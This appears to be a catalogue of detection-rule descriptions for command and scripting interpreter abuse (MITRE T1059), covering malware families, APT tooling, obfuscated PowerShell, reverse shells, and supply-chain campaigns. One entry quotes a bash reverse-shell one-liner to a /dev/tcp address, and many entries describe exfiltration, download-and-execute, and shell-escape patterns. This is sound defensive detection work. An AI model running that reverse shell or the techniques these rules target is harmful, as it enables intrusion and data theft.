Command and Scripting Interpreter detection rulesT1059

focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.

windows · ps_module

Detects Elise backdoor activity used by APT32

windows · process_creation

Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec

windows · process_creation

Detects process activity patterns as seen being used by Sliver C2 framework implants

windows · process_creation

Detects different process execution behaviors as described in various threat reports on Lazarus group activity

windows · process_creation

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

linux · network_connection

Detects potential QBot activity by looking for process executions used previously by QBot

windows · process_creation

Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)

windows · process_creation

Detects Rorschach ransomware execution activity

windows · process_creation

Detects Silence EmpireDNSAgent as described in the Group-IP report

windows · ps_script

Detects commands used by Turla group as reported by ESET in May 2020

windows · process_creation

Detects automated lateral movement by Turla group

windows · process_creation

Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports

windows · process_creation

Detects a ZxShell start by the called and well-known function name

windows · process_creation

Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations

windows · image_load

Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)

windows · process_creation

Detects javaw.exe in AppData folder as used by Adwind / JRAT

windows · process_creation

Detects javaw.exe in AppData folder as used by Adwind / JRAT

windows · file_event

Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134

linux · process_creation

Detects suspicious activity associated with Atomic MacOS Stealer (Amos) campaigns, including execution of FileGrabber and curl-based POST requests used for data exfiltration. The rule identifies either the execution of FileGrabber targeting /tmp or the use of curl to POST sensitive user data (including files such as /tmp/out.zip) to remote servers, which are key indicators of Amos infostealer activity.

macos · process_creation

Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.

aws

Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.

aws

Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "<YOUR-BUCKET-NAME>".

aws

Detects S3 Browser utility creating IAM User or AccessKey.

aws

Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3. On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper. The dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection.

linux · process_creation

Detects the macOS-specific execution chain of the plain-crypto-js malicious npm dependency in Axios NPM Package, including AppleScript execution via osascript, payload download, permission modification, execution, and cleanup.

macos · process_creation

Detects the specific Windows execution chain and process tree associated with the Axios NPM supply chain compromise. On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper. The dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection. The attack used cscript.exe (VBScript), curl.exe (C2), and PowerShell masquerading as Windows Terminal.

windows · process_creation

Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string

windows · process_creation

Detects default file names outputted by the BloodHound collection tool SharpHound

windows · file_event

detects BPFDoor .lock and .pid files access in temporary file storage facility

linux

Detects the use of the "capsh" utility to invoke a shell.

linux · process_creation

Detects execution of ChromeLoader malware via a registered scheduled task

windows · process_creation

Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer).

windows · process_creation

detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking

windows · process_creation

Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.

windows · process_creation

Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension

windows · process_creation

Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache

windows · file_event

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

linux · process_creation

Detects execution of the legitimate Autoit3 utility from a suspicious parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server.

windows · process_creation

Detects DNS queries made by the finger utility, which can be abused by threat actors to retrieve remote commands for execution on Windows devices. In one ClickFix malware campaign, adversaries leveraged the finger protocol to fetch commands from a remote server. Since the finger utility is not commonly used in modern Windows environments, its presence already raises suspicion. Investigating such DNS queries can also help identify potential malicious infrastructure used by threat actors for command and control (C2) communication.

windows · dns_query

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

windows · process_creation

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

windows · ps_script

Detects the Emotet Epoch4 loader as reported by @malware_traffic back in 2022. The ".lnk" file was delivered via phishing campaign.

windows · process_creation

Detects suspicious shell commands used in various Equation Group scripts and tools

linux

Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.

linux · process_creation

Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27

windows · process_creation

This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder

windows · process_creation

Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189

windows · process_creation

Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378

windows · process_creation

Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell.

windows · process_creation

Detects command line parameters used by Bloodhound and Sharphound hack tools

windows · process_creation

Detects remote thread creation from CACTUSTORCH as described in references.

windows · create_remote_thread

Detects suspicious command lines used in Covenant luanchers

windows · process_creation

This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.

windows · process_creation

Detects various execution patterns of the CrackMapExec pentesting framework

windows · process_creation

The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.

windows · process_creation

Detects the creation of a schtask via PowerSploit or Empire Default Configuration.

windows · process_creation

Detects suspicious powershell command line parameters used in Empire

windows · process_creation

Detects command line parameters used by Koadic hack tool

windows · process_creation

Detects file creation events indicating NetExec (nxc.exe) execution on the local machine. NetExec is a PyInstaller-bundled binary that extracts its embedded data files to a "_MEI<random>" directory under the Temp folder upon execution. Files dropped under the "\nxc\" sub-directory of that extraction path are unique to NetExec and serve as reliable on-disk indicators of execution. NetExec (formerly CrackMapExec) is a widely used post-exploitation and lateral movement tool used for Active Directory enumeration, credential harvesting, and remote code execution.

windows · file_event

Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility

windows · process_creation

Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.

windows · process_creation

This events that are generated when using the hacktool Ruler by Sensepost

windows

Detects a suspicious child process of a Microsoft HTML Help (HH.exe)

windows · process_creation

Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.

linux · process_creation

Detects installation of Kali Linux distribution through Windows Subsystem for Linux (WSL). Attackers may use Kali Linux WSL to leverage its penetration testing tools and capabilities for malicious purposes.

windows · process_creation

Detects Obfuscated use of Clip.exe to execute PowerShell

windows · process_creation

Detects Obfuscated use of Clip.exe to execute PowerShell

windows · ps_script

Detects Obfuscated use of Clip.exe to execute PowerShell

windows · ps_module

Detects Obfuscated use of Clip.exe to execute PowerShell

windows

Detects Obfuscated use of Clip.exe to execute PowerShell

windows

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block

windows · process_creation

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014

windows · ps_script

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below

windows · ps_module

Detects Obfuscated use of stdin to execute PowerShell

windows · process_creation

Detects Obfuscated use of stdin to execute PowerShell

windows · ps_script

Detects Obfuscated use of stdin to execute PowerShell

windows · ps_module

Detects Obfuscated use of stdin to execute PowerShell

windows

Detects Obfuscated use of stdin to execute PowerShell

windows

Detects Obfuscated use of Environment Variables to execute PowerShell

windows · process_creation

Detects Obfuscated use of Environment Variables to execute PowerShell

windows · ps_script

Detects Obfuscated use of Environment Variables to execute PowerShell

windows · ps_module

Detects Obfuscated use of Environment Variables to execute PowerShell

windows

Detects Obfuscated use of Environment Variables to execute PowerShell

windows

Detects Obfuscated Powershell via VAR++ LAUNCHER

windows · process_creation

Detects Obfuscated Powershell via VAR++ LAUNCHER

windows · ps_script

Detects Obfuscated Powershell via VAR++ LAUNCHER

windows · ps_module

Detects Obfuscated Powershell via VAR++ LAUNCHER

windows

Detects Obfuscated Powershell via VAR++ LAUNCHER

windows

Detects Obfuscated Powershell via Stdin in Scripts

windows · process_creation

Detects Obfuscated Powershell via Stdin in Scripts

windows · ps_script

Detects Obfuscated Powershell via Stdin in Scripts

windows · ps_module

Detects Obfuscated Powershell via Stdin in Scripts

windows

Detects Obfuscated Powershell via Stdin in Scripts

windows

Detects Obfuscated Powershell via use Clip.exe in Scripts

windows · process_creation

Detects Obfuscated Powershell via use Clip.exe in Scripts

windows · ps_script

Detects Obfuscated Powershell via use Clip.exe in Scripts

windows · ps_module

Detects Obfuscated Powershell via use Clip.exe in Scripts

windows

Detects Obfuscated Powershell via use Clip.exe in Scripts

windows

Detects Obfuscated Powershell via use MSHTA in Scripts

windows · process_creation

Detects Obfuscated Powershell via use MSHTA in Scripts

windows · ps_script

Detects Obfuscated Powershell via use MSHTA in Scripts

windows · ps_module

Detects Obfuscated Powershell via use MSHTA in Scripts

windows

Detects Obfuscated Powershell via use MSHTA in Scripts

windows

Detects Obfuscated Powershell via use Rundll32 in Scripts

windows · ps_script

Detects Obfuscated Powershell via use Rundll32 in Scripts

windows · ps_module

Detects Obfuscated Powershell via use Rundll32 in Scripts

windows

Detects Obfuscated Powershell via use Rundll32 in Scripts

windows

Detects suspicious command sequence that JexBoss

linux

Detects possible malicious execution of JXA in-memory via OSAScript

macos · process_creation

Detects the execution of the "curl.exe" command, referencing "SOCKS" and ".onion" domains, which could be indicative of Kalambur backdoor activity.

windows · process_creation

Detects a PowerShell script used by Lace Tempest APT to erase evidence from victim servers by exploiting CVE-2023-47246 as reported by SysAid Team

windows · ps_script

Detects a PowerShell script used by Lace Tempest APT to launch their malware loader by exploiting CVE-2023-47246 as reported by SysAid Team

windows · ps_script

Detects suspicious child processes spawned from Node.js server processes on Linux systems, potentially indicating remote code execution exploitation such as CVE-2025-55182 (React2Shell). This rule particularly looks for exploitation of vulnerability on Node.js Servers where attackers abuse Node.js child_process module to execute arbitrary system commands. When execSync() or exec() is used, the command line often includes a shell invocation followed by suspicious commands or scripts (e.g., /bin/sh -c <malicious-command>). For other methods, the Image field will show the spawned process directly.

linux · process_creation

Detects base64 encoded strings used in hidden malicious PowerShell command lines

windows · process_creation

Detects Commandlet names and arguments from the Nishang exploitation framework

windows · ps_script

Detects Commandlet names from well-known PowerShell exploitation frameworks

windows · ps_module

Detects Commandlet names from well-known PowerShell exploitation frameworks

windows · process_creation

Detects Commandlet names from well-known PowerShell exploitation frameworks

windows · ps_script

Detects the creation of known offensive powershell scripts used for exploitation

windows · file_event

Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance

windows · ps_module

Detects Commandlet names from ShellIntel exploitation scripts.

windows · ps_script

Detects suspicious command line patterns seen being used by MERCURY APT

windows · process_creation

Detects execution of mshta.exe with file types that looks like they do not typically represent HTA (HTML Application) content, such as .png, .jpg, .zip, .pdf, and others, which are often polyglots. MSHTA is a legitimate Windows utility for executing HTML Applications containing VBScript or JScript. Threat actors often abuse this lolbin utility to download and execute malicious scripts disguised as benign files or hosted under misleading extensions to evade detection.

windows · process_creation

Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques

windows · process_creation

Detects network connections via finger.exe, which can be abused by threat actors to retrieve remote commands for execution on Windows devices. In one ClickFix malware campaign, adversaries leveraged the finger protocol to fetch commands from a remote server. Since the finger utility is not commonly used in modern Windows environments, its presence already raises suspicion. Investigating such network connections can also help identify potential malicious infrastructure used by threat actors

windows · network_connection

Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.

windows · ps_script

Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`). The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.

windows · process_creation

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

windows · process_creation

Detects activity mentioned in Operation Wocao report

windows · process_creation

Detects activity mentioned in Operation Wocao report

windows

Detects use of Cobalt Strike commands accidentally entered in the CMD shell

windows · process_creation

Detects Cobalt Strike module/commands accidentally entered in CMD shell

windows · process_creation

Detects potential suspicious run-only executions compiled using OSACompile

macos · process_creation

Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros

windows · process_creation

Detects processes loading modules related to PCRE.NET package

windows · image_load

Detects processes creating temp files related to PCRE.NET package

windows · file_event

Detects execution of the POWERHOLD script seen used by FIN7 as reported by WithSecureLabs

windows · ps_script

Detects potential process and execution activity related to APT10 Cloud Hopper operation

windows · process_creation

Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084

windows · process_creation

Detects activity that could be related to Baby Shark malware

windows · process_creation

Detects command line patterns used by BlackByte ransomware in different operations

windows · process_creation

Detects remote thread injection events based on action seen used by bumblebee

windows · create_remote_thread

Detects potential process patterns related to Cobalt Strike beacon activity

windows · process_creation

Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking

windows · process_creation

Detects potential exploitation of CVE-2021-40444 via suspicious process patterns seen in in-the-wild exploitations

windows · process_creation

Detects the use of various CLI utilities exfiltrating data via web requests

windows · process_creation

Detects all Emotet like process executions that are not covered by the more generic rules

windows · process_creation

Detects suspicious child processes created by CrushFTP. It could be an indication of exploitation of a RCE vulnerability such as CVE-2025-54309.

windows · process_creation

Detects suspicious command execution by child processes of the GoAnywhere Managed File Transfer (MFT) application, which may indicate exploitation such as CVE-2025-10035. This behavior is indicative of post-exploitation activity related to CVE-2025-10035, as observed in campaigns by the threat actor Storm-1175.

windows · process_creation

Detects execution of netcat with the "-e" flag followed by common shells. This could be a sign of a potential reverse shell setup.

linux · process_creation

Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader

windows · process_creation

Detects the PowerShell command lines with special characters

windows · process_creation

Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers

windows · process_creation

Detects suspicious encoded character syntax often used for defense evasion

windows · process_creation

Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other.

windows · process_creation

Detects potential execution of the PowerShell script POWERTRASH

windows · ps_script

Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account. This could potentially indicates a remote PowerShell connection.

windows · network_connection

Detects potential execution of the SquiblyTwo technique that leverages Windows Management Instrumentation (WMI) to execute malicious code remotely. This technique bypasses application whitelisting by using wmic.exe to process malicious XSL (eXtensible Stylesheet Language) scripts that can contain embedded JScript or VBScript. The attack typically works by fetching XSL content from a remote source (using HTTP/HTTPS) and executing it with full trust privileges directly in memory, avoiding disk-based detection mechanisms. This is a common LOLBin (Living Off The Land Binary) technique used for defense evasion and code execution.

windows · process_creation

Detects usage of WinAPI functions in PowerShell scripts. It may indicate attempts to perform actions such as process injection, token stealing, or other malicious activities that leverage Windows API calls. These techniques are commonly used to evade traditional file-based detections by loading and executing code directly in memory.

windows · ps_script

Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.

windows · registry_set

Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines.

windows · process_creation

Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7

windows · ps_script

Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line

windows · process_creation

Detects usage of a base64 encoded "IEX" cmdlet in a process command line

windows · process_creation

Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls

windows · process_creation

Detects base64 encoded .NET reflective loading of Assembly

windows · process_creation

Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.

windows · process_creation

Detects PowerShell called from an executable by the version mismatch method

windows · ps_classic_start

Detects PowerShell calling a credential prompt

windows · ps_script

Detects PowerShell download and execution cradles.

windows · process_creation

Detects the use of PSAttack PowerShell hack tool

windows · ps_script

Detects Base64 encoded Shellcode

windows · ps_script

Detects the installation and configuration of PowerShell Web Access, which could be used for remote access and potential abuse

windows · ps_script

Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.

windows · ps_script

Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell

windows · ps_script

Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)

windows · process_creation

Detects Python one-liners that use base64 decoding functions in command line executions. Malicious scripts or attackers often use python one-liners to decode and execute base64-encoded payloads, which is a common technique for obfuscation and evasion.

windows · process_creation

Detects the use of Python's base64 decoding functions in command line executions on Linux systems. Malicious scripts often use python one-liners to decode and execute base64-encoded payloads, which is a common technique for obfuscation and evasion.

linux · process_creation

Detects python spawning a pretty tty

windows · process_creation

Detects the initial execution of the Raspberry Robin malware from an external drive using "Cmd.EXE".

windows · process_creation

Detects raspberry robin subsequent execution of commands.

windows · process_creation

Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.

windows · process_access

Detects remote PowerShell sessions

windows · ps_module

Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986

windows

Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields.

windows · process_creation

Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields.

windows · process_creation

Detects PowerShell script execution via input stream redirect

windows · process_creation

Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.

windows · process_creation

Detects suspicious script execution from suspicious directories or folders accessible by environment variables that may indicate malware activity. Script interpreters (cscript, wscript, mshta, powershell) executing from folders like Temp, Public, or user profile directories may suggest attempts to evade detection or execute malicious scripts.

windows · process_creation

Detects a script interpreter process (like node.js or bun) spawning a known credential scanning tool (e.g., trufflehog, gitleaks). This behavior is indicative of an attempt to find and steal secrets, as seen in the "Shai-Hulud: The Second Coming" campaign.

linux · process_creation

Detects a script interpreter process (like node.js or bun) spawning a known credential scanning tool (e.g., trufflehog, gitleaks). This behavior is indicative of an attempt to find and steal secrets, as seen in the "Shai-Hulud: The Second Coming" campaign.

windows · process_creation

Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload.

windows · process_creation

Detects potential Shai-Hulud malware indicators based on specific command line arguments associated with its execution.

linux · process_creation

Detects potential Shai-Hulud malware indicators based on specific command line arguments associated with its execution.

windows · process_creation

Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects the use of the "rsync" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.

linux · process_creation

Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects Trojan loader activity as used by APT28

windows · process_creation

Detects suspicious shell commands used in various exploit codes (see references)

linux

Detects script interpreters, command-line tools, and similar suspicious child processes of ArcSOC.exe. ArcSOC.exe is the process name which hosts ArcGIS Server REST services. If an attacker compromises an ArcGIS Server system and uploads a malicious Server Object Extension (SOE), they can send crafted requests to the corresponding service endpoint and remotely execute code from the ArcSOC.exe process.

windows · process_creation

Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript

windows · process_creation

Detects suspicious use of command-line tools such as curl or wget to download remote content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by immediate execution, indicating potential malicious activity. This pattern is commonly used by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.

linux · process_creation

Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"

windows · process_creation

Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)

windows · process_creation

Detects the execution of the "net use" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files

windows · process_creation

Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts. These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.

linux · file_event

Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes

windows · process_creation

Detects a suspicious execution of a Microsoft HTML Help (HH.exe)

windows · process_creation

Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation

windows · process_creation

Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context

windows · file_event

Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

linux · process_creation

Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

linux · process_creation

Detects java process spawning suspicious children

linux · process_creation

Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution

macos · process_creation

Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state

windows · process_creation

Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)

windows · process_creation

Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains

windows · process_creation

Detects suspicious ways to run Invoke-Execution using IEX alias

windows · process_creation

Detects suspicious PowerShell invocation command parameters

windows · ps_script

Detects suspicious PowerShell invocation command parameters

windows · ps_module

Detects suspicious PowerShell invocation command parameters

windows · ps_script

Detects suspicious PowerShell invocation command parameters

windows · ps_module

Detects suspicious PowerShell invocation with a parameter substring

windows · process_creation

Detects a suspicious or uncommon parent processes of PowerShell

windows · process_creation

Detects new commands that add new printer port which point to suspicious file

windows · process_creation

Detects unexpected command shell execution (cmd.exe) from w3wp.exe when tied to CentreStack's portal.config, indicating potential exploitation (e.g., CVE-2025-30406)

windows · process_creation

Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools

windows · process_creation

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine

windows · process_creation

Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares).

windows · process_creation

Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell

linux

Detects the creation of a schtask that executes a file from C:\Users\<USER>\AppData\Local

windows · process_creation

Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers

windows · wmi_event

Detects process execution indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai and uipath reported on early May 2026. The preinstall hook runs setup.mjs, which downloads a platform-specific Bun runtime.

linux · process_creation

Detects process execution indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai, uipath reported on early May 2026.

windows · process_creation

Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia

windows · process_creation

Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries

windows · process_creation

Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware.

windows · process_creation

Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

linux · process_creation

Detects suspicious child process creations of VMware Tools process which may indicate persistence setup

windows · process_creation

Detects triggering of AMSI by Windows Defender.

windows

Detects actions taken by Windows Defender malware detection engines

windows

Detects Windows shells and scripting applications that write files to suspicious folders

windows · file_event

Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.

windows · process_creation

Detects suspicious child processes started by Node.js server processes on Windows, which may indicate exploitation of vulnerabilities like CVE-2025-55182 (React2Shell). Attackers can abuse the Node.js 'child_process' module to run system commands or scripts using methods such as spawn(), exec(), execFile(), fork(), or execSync(). If execSync() or exec() is used in the exploit, the command line often shows a shell (e.g., cmd.exe /d /s /c ...) running a suspicious command unless other shells are explicitly invoked. For other methods, the spawned process appears directly in the Image field unless a shell is explicitly used.

windows · process_creation

Detects parameters used by WMImplant

windows · ps_script

Detects a file ending in jse, vbe, js, vba, vbs, wsf, wsh written by cscript.exe or wscript.exe

windows · file_event

Detects usage of winget to add new additional download sources

windows · process_creation

Detects usage of winget to add new potentially suspicious download sources

windows · process_creation

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

windows · ps_module

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

windows · pipe_created

Detects when AppLocker "Audit only" enforcement mode reports that an Application, DLL, Script, MSI, or Packaged-App would have been blocked if AppLocker "Enforce rules" enforcement mode was enabled.

windows

Detects when AppLocker prevents the execution of an Application, DLL, Script, MSI, or Packaged-App from running.

windows

Identifies when a new cloudshell is created inside of Azure portal.

azure

Detects the usage of the unsafe bpftrace option

linux · process_creation

Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

windows · process_creation

Detects changing the PowerShell script execution policy to a potentially insecure level using the "-ExecutionPolicy" flag.

windows · process_creation

Detects changing the PowerShell script execution policy to a potentially insecure level using the "Set-ExecutionPolicy" cmdlet.

windows · ps_script

Detects Clfs.sys being loaded by a process running from a potentially suspicious location. Clfs.sys is loaded as part of many CVEs exploits that targets Common Log File.

windows · image_load

Detects access to clipboard content via osascript, which may be used for data collection but also occurs in legitimate clipboard utilities and automation scripts

macos · process_creation

Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)

windows · process_creation

Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.

windows · process_creation

Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity

windows · process_creation

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

windows · process_creation

Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable.

windows · file_event

Detects attackers attempting to save, decrypt and execute the DarkGate Loader in C:\temp folder.

windows · file_event

This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

windows · process_creation

Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes.

windows · process_creation

Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.

windows · process_creation

Detects user account creation on ESXi system via esxcli

linux · process_creation

Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.

linux · process_creation

Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.

linux · process_creation

Detects changes to the ESXi syslog configuration via "esxcli"

linux · process_creation

Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.

linux · process_creation

Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.

linux · process_creation

